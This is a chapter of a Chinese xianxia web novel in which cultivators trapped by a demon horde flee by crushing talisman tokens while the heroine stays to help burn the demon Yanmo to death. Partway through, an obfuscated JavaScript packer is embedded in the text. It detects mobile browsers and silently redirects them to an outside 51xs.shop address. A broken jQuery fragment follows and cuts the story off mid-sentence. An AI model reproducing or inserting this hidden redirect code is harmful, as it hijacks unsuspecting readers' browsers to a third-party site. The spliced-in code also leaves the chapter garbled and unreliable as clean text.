30. 逃?
    炼魔大阵已成,被困在原来阵眼处的魇魔,触及脚下的玄冥地火,嘶嘶地燃起黑气。

    魇魔怒视着裴怜,幡然醒悟,桀桀大笑道,“我早知你会如此,人族,手软心慈,当不得大任。你难道以为魔尊就信任你?”

    “裴怜,你可知,在你设下炼化大阵之前,魔尊就已让我在地下设下传送大阵。”

    魔族的阵法,以‘炁’构成,阵法即为魔身,用以召唤同族。

    此地之下,不知有多少魔族,共同结成了一张传送大阵。

    罩身斗篷撕裂,露出魇魔六角六眼的真容,一声尖啸嘶吼,犹如狂兽,粗哑难听。

    魔云遮天蔽日,狂风嘶吼。

    地面渗出黏稠的、黑色的、如油状般的液体。

    三头九尾的蛟兽、独眼的人首虎身、还有布满眼睛的球状魔躯……从地表渗出的魔炁凝结而出,一个个竟都有元婴期以上的修为。

    更遑论与魔族一起出现的,被恶蚀污染控制的怨灵。

    【嘀嘀嘀——】

    【警报!】

    【检测到剧情出现差错!】

    【正在修复中——】

    【嘀——】

    【修复完成。】

    【任务更改:保护男主,逃出生天。】

    众人顷刻间被魔群围困于中心,人人亮出兵器,互相背靠着背,随着魔族靠近,圈子越缩越紧。

    “千鸢城城主是如何管辖治下的!魔族在桃源村中设下如此召魔大阵,他们竟一无所觉。”玄剑宗长老退回弟子上方,眉心拧出川字形皱纹。

    “千鸢城城主如何定罪,自有仙盟处罚。当即之际,如何掩护弟子逃出魔兵围困,才是要紧之事。”祝家长老也退回祝家弟子上方,视线扫向下方,一众祝家弟子已将祝煊容牢牢护在弟子中心。

    祝家,他们谁都可以死,但少主,必须活着回到流望城。

    “竟有这么多魔族。”墨怀叙持剑,一人挡在玄剑宗诸位师弟师妹身前。

    祝煊容被围在弟子中心,咬紧牙关。

    魔族中两只化神期,其余数十只,皆是元婴期修为。

    这哪里是为了炼化恶蚀而来,更像是倾巢出动,只为要他们的命来。

    不,就算是为了拿他们的命,也不至于这么多元婴期和化神期的魔族,他们这些弟子,最高不过金丹期巅峰。

    为何,为何,魔尊为派出这么多魔族?

    仅为了拿土山村四百五十多人的怨灵炼化恶蚀,就派出这么多元婴期以上的魔族?

    元婴期以上的修为,在魔族,也不是随意可以修得。

    魔尊竟好似倾尽一切了一般。

    “我们大意了,见到那化神期的魇魔时,就该速速离开此地。”祝家长老道。

    一只化神期的魇魔在此,本已就十分不同寻常。

    “如今说这些又有何用。”玄剑宗长老一剑立于众弟子前方,布下护住弟子们的剑阵。

    祝家长老也洒下玄冥地火的火苗,“怎么逃?你我二人合力,也劈不开这重重围困。”

    不是一只化神期,而是两只。

    祝家长老叹了口气,“若真的没有办法,也只能捏碎护身铭牌。”

    修真界有些底蕴的宗门世家,都会给到了金丹期的弟子颁布一枚护身铭牌,铭牌只有一次使用机会,可传送使用的弟子回到宗族密地,但也需要耗费半颗金丹。

    金丹破碎,有损根基,但留下了半颗,也不无修复的机会。

    总比丢了命要好。

    魇魔被地火烧得浑身发痛,六只并列的眼眸燃起血红烟雾,“裴怜,你还不清醒?!这些人可是要丢下你自己逃命。”

    玄剑宗、祝家、青山派,弟子们皆是有护身铭牌,唯独怜生,并非哪一家哪一族的弟子,自是没有逃命的机会。

    怜生只道,“我要杀了你为师父报仇。”他恨得眼尾发红,神色语气却出奇平静。

    “裴怜,这已是你最后一次机会。”魇魔呼气道。

    裴怜紧紧注视着魇魔,身侧双拳攥紧,脊背肩胛紧绷,不语。

    随后只见魇魔仰天长啸一声,围堵着他们的魔族齐齐向他们攻去。

    “捏碎护身铭牌吧。”祝家长老敛眉,最先下令。

    但没有人动。

    祝家弟子皆看向他们围着的正中心。

    祝煊容被他们护在弟子中央,手中捏着脖子挂着的护身铭牌,看向许知绝。

    “少主?”祝家长老眼底露出一丝疑惑,随着祝煊容的视线一同看向许知绝,凝眉道,“少主,老朽和玄剑宗长老的阵法撑不了几刻。”

    祝煊容眼底露出挣扎之色,她扫向护着她的祝家弟子们。她不走,他们都不会走。

    可……

    祝煊容紧闭双眸,唇线紧紧拉平,再睁眼,眼神却是一往无前的坚定,她一声令下,嗓音些许嘶哑道,“走。”

    随即捏碎了手中的护身铭牌。

    咔嚓咔嚓——

    咔嚓咔嚓——

    玄衣的祝家弟子们,随着消失的祝煊容身影,一同不见。

    “走吧。”玄剑宗长老叹息一声,也对他下方的玄剑宗弟子道。

    “长老。”墨怀叙面色平静,似想说些什么,最后还是望向许知绝他们,拱手作揖道,“后会有期。”

    玄剑宗弟子也拿出了他们随身携带的护身铭牌,捏碎,消失。

    “小友,青山派弟子应当也有护身铭牌,你们还不离去?”玄剑宗长老提醒道。

    玄剑宗长老布下的剑阵撑不了百息,而待玄剑宗弟子和祝家弟子全部离开,两位长老也不会多留此地。

    “你们走。”许知绝看向她身后的青山派弟子。

    “大师姐。”

    “大师姐。”

    他们一个个紧张地望向她。

    但在许知绝未有波澜的视线中,他们却感受到了十分强大的压迫力,闭上双唇,未再接着问下去。

    “听大师姐的话,走。”林清若话音温柔如水,却对面含担忧的师弟师妹们命令道。

    大师姐和师兄皆下了令,师弟师妹们再不能抵抗命令,掏出了随身携带的护身铭牌,捏碎。

    走前的目光,皆是流连在许知绝和林清若身上,担忧却又无力。

    弟子们一一离开,林清若看向叶飞云,他也是师弟师妹们中的一员,却到现在还没有动作,“叶师弟。”林清若唤道。

    叶飞云撩起眸子回视林清若,却道,“我答应了木母,会护住土山村村民的魂魄,便先不回去了。”

    林清若一怔,望向许知绝,“大师姐。”

    许知绝:“正好,我也答应了怜生,会帮他为李伯报仇。”

    【你在做什么?】

    【任务已经重新颁布了,让叶飞云捏碎护身铭牌立刻离开!】

    小天在许知绝神识内嘈杂不停。

    【原话本中根本没出现这么多元婴化神期的魔族,这不是目前的男主可以对抗的,你快点让他离开。】

    【之前的任务不作数了!】

    许知绝自动屏蔽神识内小天的鼓噪。

    从长老们说出捏碎护身铭牌逃走开始,怜生再没有参加他们的话题。

    他只是静静在炼魔大阵的结界外站着,看着里面的魇魔,被玄冥地火,一点点,烧干、烧尽。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064506|135124||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “那我也留下陪师姐。”林清若轻笑一声,面容柔和,似春日细雨。

    他放下了捏着护身铭牌的手。

    弟子们全都离去,上首的玄剑宗长老和祝家长老,瞥视下方一眼,未有多言,在剑阵攻破之时,也都捏碎了护身铭牌,身影转瞬消失在空中。

    此地只剩下许知绝、叶飞云、林清若和怜生四人。

    “我会护着你。”许知绝对林清若道。

    她向怜生身边走去,只留给林清若一个背影。

    玄剑宗长老的剑阵已撤,无吟剑出鞘顶上,但许知绝只有金丹期,远抵不上玄剑宗长老的化神期修为。

    无吟剑的护法剑阵只能维持一息,不过是呼出一口气的时间。

    剑阵破,反噬,剑阵再立,再破,再反噬。

    只要许知绝立下剑阵的速度足够快,魔就攻不进来。

    五脏六腑都似移位,许知绝胸腔涌出的血从嘴角溢出,滴落。

    她的面上却一幅风轻云淡,分毫不见痛苦之色。

    她到了怜生身旁,与他一同望着阵中的魇魔。

    魇魔被困在炼魔大阵中,受着地火焚烧的折磨,这阵中的地火并不够旺,只能小火烹烧,一丝一缕地烧掉魇魔的魔躯。

    像慢条斯理的烹杀,魇魔会因地火燃烧之痛痛不欲生,但地火火苗太小,也不会立即将他烧为灰烬。

    “裴怜,你猜猜,最后是你死,还是我活着?”魇魔的魔躯因痛魔炁爆起,六只眼睛露出狰狞疯狂之色。

    许知绝嘴角滑落的鲜血落在炼魔大阵的阵纹上,与阵纹上燃烧的地火融为一体。

    阵中的火陡然窜起,烧得更旺,原本只烧到魇魔膝盖下的火,转瞬烧到了魇魔眼前的高度,遮住了魇魔整个身形。

    魇魔发出绝望痛苦的嘶吼声,那声音如魔风侵扰,震得人神识发痛。

    许知绝嘴角的血一滴一滴落下,阵中的火也一下一下烧得愈来愈旺,火焰焰苗似烧至天穹。

    魇魔的痛苦嘶吼声,也越来越尖利。

    直到某一瞬,烧至天穹的火焰突而回落,浮在地表上,只剩一层微蓝幽火。

    许知绝轻声道,“他死了。”

    阵中连灰烬都没剩下。

    “我可以帮你们布下让魔族传送到魔界的隘口。”十五六岁的少年,眉眼没了灵动的神色,仿佛一夜之间长大,清澈透亮的嗓音,语气却沉稳如石。

    从李伯身死的那一刻起,怜生就知道,他是魇魔口中的那位,炼化恶蚀的幕后之人。

    许知绝也知道,她与怜生说为李伯报仇的那一刻,怜生大概就已记起了全部记忆。

    他们心知肚明。

    这是一场无言的交易。

    许知绝给出了自己的筹码——帮怜生为李伯复仇。

    他没有理由,没有借口,她给他理由,给他借口。

    他们共同做了一场失忆的局。

    至于怜生的筹码,许知绝没有期待过多。

    但目前来看,她还算满意。

    怜生可以帮叶飞云布下让魔族传送到魔界的隘口,因为只有他去过魔域,知道魔族在哪。

    但言外之意是,他不会多做多余的其他事。

    许知绝听得懂。他既是帮助魔族炼化恶蚀之人,自然有非要帮助魔族不可的理由。

    或许是因为他的哥哥,又或许是其他。

    此间事了,他大概会再回魔域,如何逃过魔尊的审问,这已是他能做得到最大限度的事。

    “你助叶飞云布阵。”许知绝伸手抹掉嘴上的血。

    而她,会将这些擅自跑到人间界的魔,一、一打回,他们本该待着的地方。